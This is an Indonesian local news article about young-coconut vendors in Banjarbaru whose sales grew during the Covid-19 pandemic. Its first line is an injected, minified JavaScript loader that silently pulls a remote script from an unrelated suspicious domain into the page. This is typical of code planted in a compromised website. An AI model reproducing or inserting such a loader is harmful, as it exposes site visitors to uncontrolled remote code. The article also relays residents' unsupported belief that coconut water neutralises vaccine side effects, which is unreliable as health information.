(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Penjual Kelapa Muda Panen Rezeki Kala Pandemi Covid-19

KANALKALIMANTAN.COM, BANJARBARU – Penjualan kelapa muda di Kota Banjarmasin mengalami peningkatan. Berkah di tengah pandemi ini tak lepas dari banyaknya warga yang melakukan vaksinasi Covid-19.

Masyarakat yang sudah divaksin percaya air kelapa muda mampu mencegah efek samping dari vaksinasi Covid-19. Buah kepala muda yang dijual pun laris manis selama pandemi Covid-19.

Dari pantauan Kanalkalimantan banyak para pembeli untuk mengantri es kelapa muda di sebuah warung kecil di tepi jalan Karang Anyar, Kelurahan Loktabat Utara. Seorang penjual yang biasa dipanggil Mama Imus sudah menggeluti usahanya sejak dua tahun terakhir di kawasan Balitra, Banjarbaru Utara ini, dia mengatakan dalam sehari bisa menghabiskan 50-100 biji perhari, jauh naik sebelum adanya pandemi.

Penjual kelapa muda di jalan Karang Anyar, Kelurahan Loktabat Utara, Banjarbaru Utara, panen rezeki saat pandemi. Foto: ibnu

“Kalau hari biasa sebelum pandemi sehari itu paling banyak 10-20 biji perharinya, kalau sekarang bisa 50-100 biji,” ucapnya.

Untuk harga kepala muda antara Rp 10.000-12.000 perbiji, tergantung ukuran kelapa, sementara harga kalau perbungkus Rp 7.000.

Penjual kelapa muda di jalan Karang Anyar, Kelurahan Loktabat Utara, Banjarbaru Utara, panen rezeki saat pandemi. Foto: ibnu

Di tempat lain pedagang buah kelapa Nurul yang tidak terlalu lama berjualan kelapa mengaku juga ketiban rezeki di tengah pandemi.
“Untuk siang ini sudah kurang lebih 10 biji kelapa terjual,” kata Nurul.

Rasyid, salah satu warga yang baru saja membeli kelapa muda di warung es kelapa muda Mama Imus mengaku mengkonsumsi kelapa muda untuk menghilangkan efek dari vaksin.

“Banyak yang bilang air kelapanya bisa menetralkan efek dari vaksin,” ucapnya. (kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor : kk